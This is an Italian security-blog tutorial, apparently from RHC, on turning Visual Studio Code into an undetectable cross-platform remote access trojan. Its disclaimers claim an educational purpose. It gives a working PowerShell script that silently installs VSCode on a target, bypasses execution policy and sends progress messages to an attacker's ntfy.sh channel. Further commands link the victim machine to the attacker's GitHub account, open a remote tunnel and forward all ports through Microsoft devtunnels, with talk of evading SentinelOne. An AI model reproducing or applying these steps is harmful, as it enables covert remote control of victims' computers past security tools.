Redazione RHC : 8 Settembre 2023 07:37
A cura di Roberto Bindi
Un “FUD RAT” è un tipo di malware che è stato progettato per essere completamente indetectable da strumenti di sicurezza e antivirus e che fornisce funzionalità di controllo remoto su un dispositivo o un computer di destinazione. Il nome del malware è una combinazione dei seguenti due termini:
Gli attaccanti spesso utilizzano FUD RAT per scopi malevoli, come il controllo di computer o dispositivi di vittime senza il loro consenso. È importante notare che l’uso di tali strumenti è illegale e viola la privacy e la sicurezza degli utenti.
La NIS2 è complessa da capire?
Non perdere tempo, segui l'anteprima gratuita del corso che stiamo preparando.Accedi quindi alla nostra Academy e segui l'anteprima del corso della durata di 30 minuti per comprendere i contenuti esclusivi che tratteremo nel corso.per ulteriori informazioni, scrivici ad [email protected] oppure scrivici su Whatsapp al 379 163 8765
Supporta RHC attraverso:
In questo tutorial spiegheremo come utilizzare VSCode riportandoci agli albori di questi malware.
Nota1: questa funzionalità può essere utilizzata in modo dannoso, pertanto il tutorial riveste il solo scopo divulgativo e per consentire alle aziende di prendere le dovute accortezze per scongiurare tale minaccia;
Nota2: deve essere testato solo in sistemi di proprietà o macchine client.
Sei stanco di dover passare ore a sviluppare FUD RAT, solo per Sentinel One che lo segnala come positivo dopo un paio d’ore? Ti piacciono le GUI fantasiose e vuoi tornare ai primi anni ’90, quando i RAT avevano effettivamente GUI decenti?
Non temere! VSCode è qui per te!
Tutti conoscono VSCode e tutti ne hanno una sensazione molto positiva o molto negativa, ma oggi parleremo di come trasformarlo in un FUD e un RAT multipiattaforma davvero potente, completo di file manager con upload/download di file, shell, port forwarding e molto altro!
La cosa più ovvia e singolare di tutto questo è che, se fatto correttamente, gli unici IP mostrati nel Firewall della vittima sono di proprietà di Micro$oft.
Esistono diversi modi per implementarlo in un target, esamineremo principalmente l’implementazione di Windows ma vorrei sottolineare che tutte le tecniche descritte funzionano su Windows, Linux e OSx.
Vedremo due tecniche di distribuzione qui:
Installare vscode è semplice (come utente normale, non sono richiesti diritti di amministratore), basta eseguire:
winget install Microsoft.VisualStudioCode --accept-package-agreements --accept-source-agreements --silent --source winget
In questo modo, winget installerà automaticamente VSCode sotto: %localappdata%\Programs\Microsoft VS Code
Avvertenze: Installando l’app in questo modo, vscode apparirà nelle applicazioni installate come qualsiasi altra applicazione.
Se non abbiamo accesso a Winget possiamo sempre scegliere di scaricarlo utilizzando PowerShell (di nuovo, non sono richiesti diritti di amministratore):
# powershell.exe -noprofile -executionpolicy bypass -file .\test.ps1
$bkname = "yourmagicalname"
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
function Ntfy {
param (
$message
)
$Request = @{
Method = "POST"
URI = "https://ntfy.sh/${bkname}"
Body = $message
}
Invoke-RestMethod @Request | Out-Null
}
NTFY "Downloading vs.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive" -OutFile "vs.zip"
NTFY "Downloading vc.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" -OutFile "vc.zip"
NTFY "Extracting vs.."
Remove-Item -Recurse -Force vs | Out-Null
Expand-Archive vs.zip -DestinationPath vs
NTFY "Extracting vc.."
Remove-Item -Recurse -Force vc | Out-Null
Expand-Archive vc.zip -DestinationPath vc
NTFY "Cleaning up.."
Remove-Item vs.zip
Remove-Item vc.zip
NTFY "Registering vs.."
.\vc\code.exe version use stable --install-dir ".\vs\" | Foreach-Object { NTFY "STDOUT> $_" }
Nel codice sopra possiamo notare che ntfy.sh viene utilizzato per tenerci aggiornati sull’avanzamento dell’installazione:
Questo sarà utile in seguito anche per recuperare il codice di abilitazione.
Successivamente, dobbiamo collegare il nuovo dispositivo al nostro Github, in questo modo:
cd ${YOUR_VISUAL_STUDIO_CODE_CLI_PATH}
$bkname = "yourmagicalname"
code tunnel rename "${bkname}"
L’ultimo comando stamperà un codice dispositivo
Nota: se installato tramite Winget ( Passaggio 1.A ), il percorso della CLI è:
%localappdata%\Programs\Microsoft VS Code\bin\
Se installato manualmente ( Passaggio 1.B ), il percorso cli è.\vc\
Ora apri il browser e visita https://github.com/login/device, effettua il login (se necessario) e inserisci il codice del dispositivo recuperato sopra:
Ancora una volta, ricorda che stai condividendo MOLTE INFORMAZIONI:
Quindi assicurati di aver scelto l’account Github corretto e premi “Autorizza Visual-Studio Code”.
La console confermerà l’operazione e rilascerà il terminale.
Avviare il tunnel è facile come eseguire:
.\code tunnel --accept-server-license-terms
Ora saremo in grado di raggiungere il sistema visitando https://vscode.dev/tunnel/yourmagicalname o collegandolo utilizzando l’estensione Remote Tunnel in vscode(è anche contenuta nel gruppo di estensioni Remote Development)
Al primo accesso la macchina scaricherà il server vscode appropriato e lo avvierà automaticamente. Dopo pochi secondi verremo accolti con un ambiente VSCode completamente funzionante tramite interfaccia web:
O client locale:
È possibile anche un port forwarding semplificato interagendo con la scheda “PORTS”:
Ma se abbiamo bisogno di qualcosa di più del semplice accesso ai servizi HTTP/HTTPS da remoto, possiamo utilizzare un altro strumento di madre Micro$oft:
Devtunnels (qui https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/get-started?tabs=windows )
Devtunnels è stato creato appositamente per interagire con i tunnel ed esporrà tutte le client ports localmente. Primo passo: accedi a github
devtunnel user login -g
Ora possiamo elencare i tunnel attivi:
devtunnel list
E finalmente possiamo inoltrare tutte le porte remote eseguendo:
devtunnel connect ${YOUR_TUNNEL_ID}